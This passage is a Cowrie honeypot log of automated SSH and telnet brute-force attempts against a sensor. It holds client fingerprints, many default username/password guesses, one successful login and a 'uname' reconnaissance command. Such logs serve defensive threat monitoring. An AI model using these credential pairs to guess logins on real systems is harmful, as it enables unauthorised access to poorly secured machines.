openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:01.539229Z","src_ip":"91.92.40.171","session":"1309a765eacb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:02.082933Z","src_ip":"91.92.42.133","session":"b5cec9f618a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33610,"dst_ip":"159.203.135.109","dst_port":22,"session":"14ce1e26c69f","protocol":"ssh","message":"New connection: 91.92.42.133:33610 (159.203.135.109:22) [session: 14ce1e26c69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:04.791809Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47160,"dst_ip":"159.203.135.109","dst_port":22,"session":"adba2e197994","protocol":"ssh","message":"New connection: 91.92.40.171:47160 (159.203.135.109:22) [session: adba2e197994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:04.927371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:04.931635Z","src_ip":"91.92.40.171","session":"adba2e197994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:04.934730Z","src_ip":"91.92.40.171","session":"1309a765eacb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:05.016476Z","src_ip":"91.92.40.171","session":"adba2e197994","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:05.248496Z","src_ip":"91.92.42.133","session":"14ce1e26c69f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:05.251725Z","src_ip":"91.92.42.133","session":"14ce1e26c69f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:05.431620Z","src_ip":"91.92.40.171","session":"adba2e197994","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:05.797168Z","src_ip":"91.92.40.171","session":"adba2e197994","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:05.800331Z","src_ip":"91.92.40.171","session":"adba2e197994","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:05.906029Z","src_ip":"91.92.40.171","session":"adba2e197994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:05.910962Z","src_ip":"91.92.40.171","session":"adba2e197994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:07.007855Z","src_ip":"91.92.40.171","session":"1309a765eacb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:08.105155Z","src_ip":"91.92.42.133","session":"14ce1e26c69f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:09.451433Z","src_ip":"91.92.42.133","session":"14ce1e26c69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47214,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e6b9c3100a7","protocol":"ssh","message":"New connection: 91.92.40.171:47214 (159.203.135.109:22) [session: 3e6b9c3100a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:10.409011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:10.479234Z","src_ip":"91.92.40.171","session":"3e6b9c3100a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:10.547925Z","src_ip":"91.92.40.171","session":"3e6b9c3100a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56916,"dst_ip":"159.203.135.109","dst_port":23,"session":"57147a416021","protocol":"telnet","message":"New connection: 128.199.8.54:56916 (159.203.135.109:23) [session: 57147a416021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:10.654324Z"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:10.949577Z","src_ip":"91.92.40.171","session":"3e6b9c3100a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:12.066838Z","src_ip":"91.92.40.171","session":"3e6b9c3100a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33736,"dst_ip":"159.203.135.109","dst_port":22,"session":"5644c1b0b07c","protocol":"ssh","message":"New connection: 91.92.42.133:33736 (159.203.135.109:22) [session: 5644c1b0b07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:12.644361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:12.851445Z","src_ip":"91.92.42.133","session":"5644c1b0b07c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:12.856365Z","src_ip":"91.92.42.133","session":"5644c1b0b07c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:14.299778Z","src_ip":"91.92.42.133","session":"5644c1b0b07c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:16.220019Z","src_ip":"91.92.42.133","session":"5644c1b0b07c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57742,"dst_ip":"159.203.135.109","dst_port":22,"session":"c258b0573eac","protocol":"ssh","message":"New connection: 91.92.40.171:57742 (159.203.135.109:22) [session: c258b0573eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:17.511265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:17.649875Z","src_ip":"91.92.40.171","session":"c258b0573eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58926,"dst_ip":"159.203.135.109","dst_port":23,"session":"216eaa296ce1","protocol":"telnet","message":"New connection: 128.199.8.54:58926 (159.203.135.109:23) [session: 216eaa296ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:17.692297Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:18.558864Z","src_ip":"91.92.40.171","session":"c258b0573eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56178,"dst_ip":"159.203.135.109","dst_port":22,"session":"eab0e1eea2a2","protocol":"ssh","message":"New connection: 91.92.42.133:56178 (159.203.135.109:22) [session: eab0e1eea2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:18.985715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:19.837433Z","src_ip":"91.92.42.133","session":"eab0e1eea2a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:19.841767Z","src_ip":"91.92.42.133","session":"eab0e1eea2a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57792,"dst_ip":"159.203.135.109","dst_port":22,"session":"08dbb2451487","protocol":"ssh","message":"New connection: 91.92.40.171:57792 (159.203.135.109:22) [session: 08dbb2451487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:21.695116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:21.727489Z","src_ip":"91.92.40.171","session":"08dbb2451487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:21.736726Z","src_ip":"91.92.40.171","session":"c258b0573eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:21.814469Z","src_ip":"91.92.40.171","session":"08dbb2451487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:22.229461Z","src_ip":"91.92.40.171","session":"08dbb2451487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:22.517073Z","src_ip":"91.92.42.133","session":"eab0e1eea2a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:23.391113Z","src_ip":"91.92.40.171","session":"08dbb2451487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:23.734641Z","src_ip":"91.92.40.171","session":"c258b0573eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:24.447112Z","src_ip":"91.92.42.133","session":"eab0e1eea2a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":52478,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c9a81e0d79a","protocol":"ssh","message":"New connection: 103.176.20.57:52478 (159.203.135.109:22) [session: 3c9a81e0d79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:24.708698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:24.714572Z","src_ip":"103.176.20.57","session":"3c9a81e0d79a","protocol":"ssh"}
